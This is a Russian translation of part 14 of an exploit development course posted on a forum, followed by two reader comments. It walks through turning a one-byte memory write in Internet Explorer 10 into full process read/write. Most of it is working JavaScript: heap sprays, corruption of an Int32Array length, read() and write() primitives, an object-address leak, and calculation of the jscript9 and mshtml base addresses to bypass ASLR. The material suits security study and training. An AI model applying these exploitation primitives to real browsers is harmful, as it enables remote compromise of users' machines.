R0 CREW

Exploit Development Course Part 14 [Internet Explorer 10]: From one-byte-write to full process space read/write (Перевод: yorowe)

Перейти к содержанию

Internet Explorer 10: От записи одного байта к чтению/записи всего процесса

Как мы писали раньше, если мы можем модифицировать один байт по произвольному адресу, мы можем получить доступ к чтению/записи всего адресного пространства процесса. Хитрость заключается в том, чтобы изменить поле длины массива (или похожей структуры данных) так, чтобы мы смогли производить чтение и запись за пределами массива с помощью обычного JavaScript-кода.

Нам необходимо выполнить две атаки типа «распыление кучи» (heap spray):

  1. LargeHeapBlocks и буфер необработанных данных (связанный с ArrayBuffer) в куче
  2. Arrays и Int32Arrays, выделенные на собственную кучу IE10

Ниже представлен JavaScript-код:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

Две вышеупомянутые атаки представлены на рисунке:

Важно знать, что цель первой атаки — поместить буфер (связанный с ArrayBuffer) между LargeHeapBlocks. LargeHeapBlocks и буферы выделены в одной куче, поэтому если они имеют одинаковый размер, то они, скорее всего, будут расположены друг против друга в памяти. Так, при LargeHeapBlocks размером в 0x58 байтов буфер должен занимать также 0x58 байта.

Объекты второй атаки выделены в собственной куче IE10. Это значит, что даже если мы захотим, мы не сможем расположить, скажем, Array рядом с LargeHeapBlocks.

Int32Arrays из второй атаки отсылает к буферу ArrayBuffer, который связан с буфером необработанных данных из первой атаки. Во второй атаке мы выделяем 0x400 участков памяти по 0x10000 байтов. На самом деле, для каждого блока мы выделяем:

  • Array длиной в 0x3bf8 ⇒ 0x3bf8*4 байта + 0x20 байтов для заголовка = 0xf000 байтов
  • 0x55 массивов Int32Arrays (в общей сложности 0x30*0x55 = 0xff0)

Видно, что Int32Arrays занимает 0x24 байта, но выделяются блоки по 0x30 байтов, поэтому эффективный размер — 0x30 байтов.

Как мы писали раньше, участок памяти содержит Array и 0x55 массивов Int32Arrays, всего 0xf000 + 0xff0 = 0xfff0 байтов. Это показывает, что Arrays выравнены в памяти, так что пропущенные 0x10 байтов не используются и каждый участок памяти содержит 0x10000 байтов.

JavaScript-код оканчивается строкой

alert("Set byte at 0c0af01b to 0x20");

Прежде всего посмотрим на память в VMMap:

Как вы можете видеть, 0xc0af01b получил нужное значение вследствие нашего второго распыления кучи. Теперь взглянем на память в WinDbg. Сперва посмотрим на адрес 0xc0a0000, где мы должны найти Array:

Заметим, что второе распыление кучи прошло не так, как можно было бы ожидать. Вернёмся к коду:
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }

Так как в каждом участке памяти 0x55 массивов Int32Arrays выделяются сразу после Array, и первые 0x55 элементов массива Array указывают на вновь выделенные Int32Arrays, можно ожидать, что первый элемент массива Array будет указывать на первый Int32Array, выделенный сразу после массива Array, но этого не случается. Проблема в том, что при выполнении второго распыления кучи память фрагментируется, таким образом первые Arrays и Int32Arrays, вероятно, выделяются в блоках, частично занятых другими объектами.

Это не слишком большая проблема, это всего лишь означает, что мы должны быть аккуратнее в своих предположениях.

Давайте взглянем на адрес 0xc0af000. Здесь мы должны найти первый Int32Array участка памяти:

Int32Array указывает на буфер необработанных данных в 429af28, который связан с буфером ArrayBuffer, выделенным в основной куче вместе с LargeHeapBlocks.

Изображение выше иллюстрирует запутанную ситуацию. Во-первых, первые два LargeHeapBlocks не соседствуют, что является проблемой, потому что пространство между ними заполнено случайными данными. Во-вторых, каждый LargeHeapBlocks указывает на следующий блок, что противоположно тому, что мы видели раньше, когда каждый блок указывал на предыдущий.

Перезагрузим страницу в IE и попробуем снова:

LargeHeapBlocks указывает вперёд снова. Что ж, попробуем ещё:

Как вы можете видеть, на этот раз у нас даже нет Int32Arrays по адресу 0xc0af000. Последняя попытка:

Мы можем заключить, что LargeHeapBlocks, как правило, указывает вперёд. Я подозреваю, что в первый раз они указывали назад, потому что LargeHeapBlocks были расположены в обратном порядке, то есть шли в сторону убывания адресов. Мы видим несколько вариантов, почему всё пошло не так. Как можем справиться с этим? Я пришёл к решению, заключающемся в перезагрузке страницы. Просто выполняем несколько проверок, чтобы убедиться, что всё в порядке, а если это не так, перезагружаем страницу следующим образом:
  (function() {
    .
    .
    .
    if (check fails) {
      window.location.reload();
      return;
    }
    
  })();

Нам надо обернуть код в функцию, чтобы использовать return для остановки выполнения кода. Это необходимо, потому что reload() не выполняется мгновенно, и что-то может пойти не так до перезагрузки страницы.

Как мы уже писали, JavaScript-код оканчивается так:

    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");

Посмотрите на закомментированные строки. Поле array_len, принадлежащее к Int32Array, расположенному по адресу 0xc0af000,первоначально имеет значение 0x16. После того, как мы запишем 0x20 по адресу 0xc0af01b, поле принимает значение 0x20000016. Если буфер необработанных данных находится по адресу 0x8ce0020, то мы можем использовать Int32Array, расположенный по адресу 0xc0af000, для записи и чтения на промежутке [0x8ce0020, 0x8ce0020 + 0x20000016*4 – 4].

Для чтения и записи по заданному адресу нам надо знать адрес начала буфера необработанных данных, т. е. 0x8ce0020, например. Мы знаем адрес, потому что мы использовали WinDbg, но как мы можем определить его, используя лишь JavaScript?

Для этого необходимо сделать две вещи:

  1. Определить Int32Array, чьё поле array_len мы модифицировали (т. е. Int32Array, расположенный по адресу 0xc0af000)
  2. Найти buf_addr, воспользовавшись тем, что LargeHeapBlocks указывают на следующий блок

Ниже представлени код для первого шага:

    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }

У вас не должно возникнуть проблем с пониманием кода. Проще говоря, модифицированный Int32Array отличается по длине от оригинального массива размером в 0x58/4 = 0x16. Заметим, что если мы не можем найти Int32Array, мы перезагружаем страницу, т. к. что-то пошло не так.

Помните, что первый элемент массива Array, расположенного по адресу 0xc0a0000, не обязательно указывает на Int32Array, расположенный по адресу 0xc0af000, так что мы должны проверить все Int32Arrays.

Следует отметить, что факт чтения/записи за пределами конца буфера необработанных данных путём изменения поля array_len массива Int32Array неочевиден. На самом деле, Int32Array также указывает на ArrayBuffer, содержащий настоящую длину буфера необработанных данных. Так что нам просто повезло, что мы не должны менять обе длины.
Перейдём к коду второго шага:

    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;

Помните, что int32array является модификацией Int32Array, расположенного по адресу 0xc0af000. Мы читаем указатели vftable и следующие указатели первых трёх LargeHeapBlocks. Если всё OK, указатели vftable имеют форму 0xXXXX6e18, а следующие указатели отличаются на 0x60 байтов, в которые входят размер LargeHeapBlocks плюс восьмибайтный заголовок (allocation header). Следующее изображение поможет прояснить дальнейший ход действий:

Теперь, когда buf_addr содержит начальный адрес буфера необработанных данных, мы можем производить чтение и запись везде на промежутке [buf_addr, buf_addr + 0x20000016*4]. Чтобы получить доступ ко всему адресному пространству, нам надо изменить Int32Array, расположенный по адресу 0xc0af000, снова. Код ниже показывает, как:
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }

Давайте снова взглянем на комментарии:

    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf

В коде выше мы устанавливаем array_len значение 0x20000000, а buf_addr — 0. Теперь мы можем производить чтение/запись на промежутке [0, 20000000*4].

Заметим, что части read() и write(), которые, как предполагается, обрабатывают случай, когда значение адреса не делится на 4, не были протестированы, потому что в этом не было необходимости.

Определение адреса объекта

Нам необходимо иметь возможность определять адрес объекта при помощи JavaScript. Ниже представлен код:

    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4);
    }

Мы хотим найти Array, расположенный по адресу 0xc0a0000. Для этого необходимо действовать следующим образом:

  1. Обнуляем последний элемент каждого Array (a[0x3bf7] = 0)
  2. Записываем 3 в 0xc0af000-4, т. е. присваиваем 3 последнему элементу Array, расположенному по адресу 0xc0a0000
  3. Находим Array, чей последний элемент не равен нулю, т. е. Array, расположенный по адресу 0xc0a0000, и создаём leakArray, указывающий на этот массив
  4. Определяем функцию get_addr(), которая
    1. берёт ссылку obj на объект
    2. записывает obj в последний элемент leakArray
    3. читаем obj, используя read(), что позволяет раскрыть настоящее значение указателя

Функция get_addr очень важна, ибо позволяет нам определять реальный адрес объекта, созданного с помощью JavaScript, в памяти. Теперь мы можем определить адресаjscript9.dll и mshtml.dll благодаря следующему коду:

    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    .
    .
    .
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

Код выше очень прост. Мы знаем, что по адресу 0xc0af000 находится Int32Array, а его первые 32 бита (DWORD) — указатель vftable. vftable, принадлежащий к TypedArray, расположен в модулеjscript9.dll, и по фиксированному RVA мы можем просто рассчитать базовый адрес jscript9 путём вычитания RVA vftable из его актуального адреса.

Теперь мы создаём элемент div и находим его адрес, а по смещению 0x10 мы можем найти указатель на MSHTML!CBaseTypeOperations::CBaseFinalizer, который может быть рассчитан так:

mshtml + RVA = mshtml + 0x58b9a

Базовый адрес mshtml.dll мы также можем определить с помощью простого вычитания.

© Translated by yorowe

alert(“Set byte at 0c0af01b to 0x20”);

Подскажите, в какой момент происходит запись 0x20 в 0x0c0af01b? Как ни пробовал, размер Int32Array не меняется на 0x20000016 ?

Кажется здесь подразумевается, что нужно каки-либо образом изменить размер. А в рамках этой статьи, надо вручную изменить его.